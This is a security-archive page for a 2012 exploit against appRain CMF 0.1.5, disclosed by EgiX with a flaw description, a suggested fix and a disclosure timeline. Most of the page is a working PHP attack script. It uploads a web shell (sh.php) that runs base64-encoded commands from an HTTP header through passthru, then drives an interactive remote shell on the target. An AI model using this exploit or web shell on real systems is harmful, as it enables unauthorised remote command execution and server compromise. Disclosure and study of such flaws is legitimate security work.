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appRain CMF 0.1.5 Shell Upload

appRain CMF 0.1.5 Shell Upload
Posted Jan 19, 2012
Authored by EgiX

appRain CMF versions 0.1.5 and below suffer from an unrestricted shell upload vulnerability in uploadify.php.

tags | exploit, shell, php
SHA-256 | 506aabb495e506a158aa2e70e4e9660ae29a6ff831efa1d2287c34419cba6dda

appRain CMF 0.1.5 Shell Upload

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<?php

/*
---------------------------------------------------------------------
appRain CMF <= 0.1.5 (uploadify.php) Unrestricted File Upload Exploit
---------------------------------------------------------------------

author............: Egidio Romano aka EgiX
mail..............: n0b0d13s[at]gmail[dot]com
software link.....: http://www.apprain.com/

+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+

[-] vulnerable code in /webroot/addons/uploadify/uploadify.php

27. if (!empty($_FILES)) {
28. $tempFile = $_FILES['Filedata']['tmp_name'];
29. //$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';
30. $targetFile = "uploads/" . $_FILES['Filedata']['name'];
31.
32. // $fileTypes = str_replace('*.','',$_REQUEST['fileext']);
33. // $fileTypes = str_replace(';','|',$fileTypes);
34. // $typesArray = split('\|',$fileTypes);
35. // $fileParts = pathinfo($_FILES['Filedata']['name']);
36.
37. // if (in_array($fileParts['extension'],$typesArray)) {
38. // Uncomment the following line if you want to make the directory if it doesn't exist
39. // mkdir(str_replace('//','/',$targetPath), 0755, true);
40.
41. move_uploaded_file($tempFile,$targetFile);
42. echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);
43. // } else {
44. // echo 'Invalid file type.';
45. // }
46. }

Restricted access to this script isn't properly realized, so an attacker might be able to upload
arbitrary files containing malicious PHP code due to uploaded file extension isn't properly checked.

[-] Possible bug fix:

include_once('../../../app.php');
App::__Obj('appRain_Base_Core')->check_admin_login();

add this lines of code at the beginning of the script

[-] Disclosure timeline:

[19/12/2011] - Vulnerability discovered
[19/12/2011] - Issue reported to http://www.apprain.com/ticket/1135
[20/12/2011] - Vendor response and fix suggested
[16/01/2012] - After four weeks still no fix released
[19/01/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die("\n[-] No response from {$host}:80\n");

fputs($sock, $packet);
return stream_get_contents($sock);
}

print "\n+---------------------------------------------------------------+";
print "\n| appRain CMF <= 0.1.5 Unrestricted File Upload Exploit by EgiX |";
print "\n+---------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /apprain-v015/\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"sh.php\"\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet = "POST {$path}addons/uploadify/uploadify.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

if (!preg_match('/sh.php/', http_send($host, $packet))) die("\n[-] Upload failed!\n");

$packet = "GET {$path}addons/uploadify/uploads/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
print "\napprain-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

?>

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